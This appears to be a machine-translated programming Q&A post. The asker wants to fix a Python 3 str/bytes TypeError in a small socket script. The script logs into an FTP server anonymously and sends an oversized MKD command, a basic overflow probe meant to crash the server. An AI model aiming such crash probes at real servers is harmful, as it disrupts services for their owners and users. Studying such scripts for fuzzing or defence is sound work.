python3无法将字节隐式转换为对象'str'

我尝试了其他问题的一些解决方案，但无法解决。这是我的代码：

#/usr/bin/env python
#-*- coding: UTF-8 -*-
import socket
import sys
ip = "192.168.0.28"
port = 21
data = "hckn"*250
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    conn = s.connect((ip,port))
except:
    print("[-] Baglanti basarisiz")
    sys.exit()

s.recv(1024)
s.send("USER anonymous\r\n".encode('utf-8'))
s.recv(1024)
s.send("PASS anonymous\r\n".encode('utf-8'))
print("[+]Gizli baglanti saglandi")


s.recv(1024)

s.send('MKD'+data+'\r\n'.encode('ascii'))
print("Data yollandı")
s.recv(1024)
s.send('QUIT\r\n'.encode('utf-8'))
s.close()

print("[+]Program yakinda hata verecek...")

当我删除“编码”并运行Python2时，它工作正常。但不是说在Python3上

s.send（'MKD'+ data +'\ r \ n'.encode（'ascii'））

TypeError：无法将字节隐式转换为对象“ str”